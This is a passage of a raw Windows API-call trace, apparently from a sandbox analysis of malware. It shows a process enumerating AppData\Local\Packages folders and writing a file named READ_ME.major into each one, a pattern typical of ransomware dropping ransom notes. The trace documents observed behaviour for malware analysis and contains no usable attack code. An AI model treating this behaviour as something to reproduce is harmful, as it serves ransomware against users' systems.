cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.052] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0190.053] WriteFile (in: hFile=0x92c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.054] CloseHandle (hObject=0x92c) returned 1 [0190.054] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x740ca625, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.054] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0190.058] WriteFile (in: hFile=0x92c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.060] CloseHandle (hObject=0x92c) returned 1 [0190.060] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x740ca625, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.060] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0190.061] WriteFile (in: hFile=0x92c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.062] CloseHandle (hObject=0x92c) returned 1 [0190.062] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x740ca625, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.062] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0190.063] WriteFile (in: hFile=0x92c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.064] CloseHandle (hObject=0x92c) returned 1 [0190.064] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x740ca625, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.064] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73a62109, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24097144, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660e70 [0190.064] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73a62109, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24097144, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.064] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3722267d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3722267d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.064] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0190.068] WriteFile (in: hFile=0x930, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.068] CloseHandle (hObject=0x930) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8255f469, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d945b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8255f469, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.069] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0190.069] WriteFile (in: hFile=0x930, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.072] CloseHandle (hObject=0x930) returned 1 [0190.072] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d94c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x82539239, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.072] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0190.224] WriteFile (in: hFile=0x930, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.224] CloseHandle (hObject=0x930) returned 1 [0190.225] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d9538e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x82539239, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.225] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0190.226] WriteFile (in: hFile=0x930, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.226] CloseHandle (hObject=0x930) returned 1 [0190.227] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24097144, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24097144, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24097144, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.227] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d95a84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x82539239, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.227] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0190.228] WriteFile (in: hFile=0x930, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.229] CloseHandle (hObject=0x930) returned 1 [0190.229] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8255f469, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712f2959, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.229] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0190.363] WriteFile (in: hFile=0x930, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.364] CloseHandle (hObject=0x930) returned 1 [0190.364] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734de9c3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x734de9c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x734de9c3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.364] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0190.364] WriteFile (in: hFile=0x930, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.365] CloseHandle (hObject=0x930) returned 1 [0190.365] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0e8d7ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x82539239, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.365] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0190.366] WriteFile (in: hFile=0x930, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.367] CloseHandle (hObject=0x930) returned 1 [0190.367] FindNextFileW (in: hFindFile=0x660e70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0e8d7ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x82539239, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.367] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xecaaa968, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x240e3548, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6610f0 [0190.367] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xecaaa968, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x240e3548, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.367] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x37484b36, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x37484b36, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.367] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0190.387] WriteFile (in: hFile=0x934, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.388] CloseHandle (hObject=0x934) returned 1 [0190.388] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e912c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd05db4, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.388] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0190.389] WriteFile (in: hFile=0x934, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.390] CloseHandle (hObject=0x934) returned 1 [0190.390] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e919b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd05db4, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.390] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0190.398] WriteFile (in: hFile=0x934, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.399] CloseHandle (hObject=0x934) returned 1 [0190.399] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x32a78e7c, ftLastAccessTime.dwHighDateTime=0x1d32756, ftLastWriteTime.dwLowDateTime=0x32a78e7c, ftLastWriteTime.dwHighDateTime=0x1d32756, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.399] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0190.431] WriteFile (in: hFile=0x934, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.431] CloseHandle (hObject=0x934) returned 1 [0190.431] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x240e3548, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x240e3548, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x240e3548, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.431] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0ee0b1c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fcdfb62, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.432] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 